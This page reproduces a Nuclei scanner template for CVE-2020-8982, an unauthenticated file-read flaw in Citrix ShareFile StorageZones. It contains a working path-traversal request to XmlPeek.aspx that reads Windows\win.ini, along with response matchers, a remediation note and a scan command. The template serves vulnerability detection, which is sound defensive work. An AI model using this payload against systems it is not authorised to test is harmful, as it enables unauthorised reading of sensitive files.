Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read

ID: CVE-2020-8982

Severity: high

Author: dwisiswant0

Tags: cve2020,cve,citrix,lfi

Description

Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.

YAML Source

id: CVE-2020-8982

info:
  name: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.
  impact: |
    An attacker can read arbitrary files on the affected system, potentially leading to unauthorized access to sensitive information.
  remediation: |
    Upgrade Citrix ShareFile StorageZones to version 5.11 or higher to mitigate the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX269106
    - https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view
    - https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8982
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8982
    cwe-id: CWE-22
    epss-score: 0.79607
    epss-percentile: 0.98287
    cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: sharefile_storagezones_controller
  tags: cve2020,cve,citrix,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e85f6d21f2bf6e27a5963b61e2b1e2bd133ea3a77898afd42f4ec42f50279e4902205eda77e18fb9a6e8765286edc32cc3696d000b612ae0addc72c6cc5a6ed9a818:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8982.yaml"

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